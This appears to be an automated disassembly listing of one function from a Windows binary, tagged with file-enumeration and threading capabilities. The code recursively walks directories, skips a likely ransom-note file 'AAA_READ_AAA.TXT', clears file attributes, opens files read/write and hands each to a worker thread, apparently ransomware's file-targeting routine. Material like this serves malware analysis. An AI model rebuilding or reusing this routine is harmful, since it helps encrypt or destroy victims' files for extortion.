Function at 0x14000eef0
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x2268]
mov eax, 0x2368
call fcn.14000d0f0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2250], rax
mov rax, qword [rbp + 0x22c0]
mov rbx, rdx
mov qword [rsp + 0x60], rax
mov rsi, rcx
mov dword [rsp + 0x54], r9d
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x70], rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x9f0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x1a30]
mov r8d, 0x410
call fcn.140002350
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e89c]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, rbx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor r10d, r10d
mov qword [rsp + 0x58], rax
lea rdi, [0x140000000]
mov rbx, rax
test rax, rax
je 0x14000f585
test byte [rbp - 0x80], 0x10
jne 0x14000f3fb
movzx r8d, word [rbp - 0x54]
add r8d, 0xffffffd2
mov edx, r8d
jne 0x14000f03f
mov r9d, 0x2e
mov ecx, r10d
nop
test r9w, r9w
je 0x14000f03f
movzx eax, word [rcx + rdi + 0x3e8a2]
add rcx, 2
movzx r9d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000f020
test r10b, r10b
jne 0x14000f3fb
test edx, edx
je 0x14000f3fb
test r8d, r8d
jne 0x14000f07f
mov edx, 0x2e
mov rcx, r10
nop dword [rax]
test dx, dx
je 0x14000f07f
movzx eax, word [rcx + rdi + 0x3e8aa]
add rcx, 2
movzx edx, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000f060
test r10b, r10b
jne 0x14000f3fb
test r8d, r8d
je 0x14000f3fb
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000f3fb
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000f3fb
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000f3fb
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1a30]
lea rdx, [0x14003e8b0]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor edi, edi
lea rcx, [rbp + 0x1210]
mov qword [rsp + 0x30], rdi
xor r9d, r9d
mov dword [rsp + 0x28], edi
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rdi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000f13b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000f147
lea rcx, [rbp + 0x1210]
call fcn.14000ff20
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000f274
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp - 0x64]
mov edx, 0x768
mov eax, dword [rbp - 0x60]
mov ecx, 0x40
shl rdi, 0x20
or rdi, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x22d0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rbp + 0x22b0]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000f261
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000f27e
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000f27e
mov edi, dword [rbp + 0x22b0]
mov dword [rsp + 0x50], edi
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000f282
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000f2a0
mov rcx, rsi
call fcn.1400361a0
lea rdi, [0x140000000]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000f57a
nop dword [rax]
test byte [rbp - 0x80], 0x10
jne 0x14000f55e
movzx r8d, word [rbp - 0x54]
add r8d, 0xffffffd2
mov edx, r8d
jne 0x14000f2ff
xor ecx, ecx
mov r9d, 0x2e
test r9w, r9w
je 0x14000f2ff
movzx eax, word [rcx + rdi + 0x3e8be]
add rcx, 2
movzx r9d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000f2e0
xor eax, eax
test al, al
jne 0x14000f55e
test edx, edx
je 0x14000f55e
test r8d, r8d
jne 0x14000f33f
mov edx, 0x2e
mov ecx, eax
nop dword [rax]
test dx, dx
je 0x14000f33f
movzx eax, word [rcx + rdi + 0x3e8ae]
add rcx, 2
movzx edx, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000f320
xor edi, edi
test dil, dil
jne 0x14000f55e
test r8d, r8d
je 0x14000f55e
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000f55e
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000f55e
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000f55e
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1a30]
lea rdx, [0x14003e8c8]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x30], rdi
lea r8d, [rdi + 3]
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
xor r9d, r9d
mov dword [rsp + 0x20], 3
mov edx, 0xc0000000
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000f40a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000f416
mov eax, dword [rbp + 0x22b0]
mov dword [rsp + 0x50], eax
jmp 0x14000f2a7
lea rcx, [rbp + 0x1210]
call fcn.14000ff20
xor r9d, r9d
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rcx, [rbp + 0x1210]
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000f534
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp - 0x64]
mov edx, 0x768
mov eax, dword [rbp - 0x60]
mov ecx, 0x40
shl rdi, 0x20
or rdi, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x22d0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rsp + 0x50]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000f523
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
jmp 0x14000f529
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000f540
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000f55e
mov rcx, rsi
call fcn.1400361a0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
lea rdi, [0x140000000]
test eax, eax
jne 0x14000f2c0
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x14000f58f
mov eax, dword [rbp + 0x22b0]
mov dword [rsp + 0x50], eax
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e8d8]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
test rax, rax
je 0x14000f85f
test byte [rbp - 0x80], 0x10
mov edi, dword [rbp + 0x22b8]
je 0x14000f701
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000f627
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop dword [rax + rax]
test r9w, r9w
je 0x14000f621
movzx eax, word [rcx + rdi + 0x3e8e6]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000f600
mov edi, dword [rbp + 0x22b8]
xor eax, eax
test al, al
jne 0x14000f701
test r8d, r8d
je 0x14000f701
test edx, edx
jne 0x14000f677
mov r8d, 0x2e
lea rdi, [0x140000000]
mov ecx, eax
nop dword [rax]
test r8w, r8w
je 0x14000f66f
movzx eax, word [rcx + rdi + 0x3e8c6]
add rcx, 2
movzx r8d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000f650
mov edi, dword [rbp + 0x22b8]
xor eax, eax
test al, al
jne 0x14000f701
test edx, edx
je 0x14000f701
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e8d4]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x22d0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000eef0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000f856
test byte [rbp - 0x80], 0x10
je 0x14000f841
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000f767
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop dword [rax + rax]
test r9w, r9w
je 0x14000f761
movzx eax, word [rcx + rdi + 0x3e8ee]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000f740
mov edi, dword [rbp + 0x22b8]
xor ecx, ecx
test cl, cl
jne 0x14000f841
test r8d, r8d
je 0x14000f841
test edx, edx
jne 0x14000f7b7
mov r8d, 0x2e
lea rdi, [0x140000000]
mov eax, ecx
nop dword [rax]
test r8w, r8w
je 0x14000f7af
movzx ecx, word [rax + rdi + 0x3e8f6]
add rax, 2
movzx r8d, cx
movzx edx, word [rbp + rax - 0x54]
sub edx, ecx
je 0x14000f790
mov edi, dword [rbp + 0x22b8]
xor ecx, ecx
test cl, cl
jne 0x14000f841
test edx, edx
je 0x14000f841
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e8f8]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x22d0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000eef0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000f716
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2250]
xor rcx, rsp
call fcn.140001030
add rsp, 0x2368
pop rdi
pop rsi
pop rbx
pop rbp
ret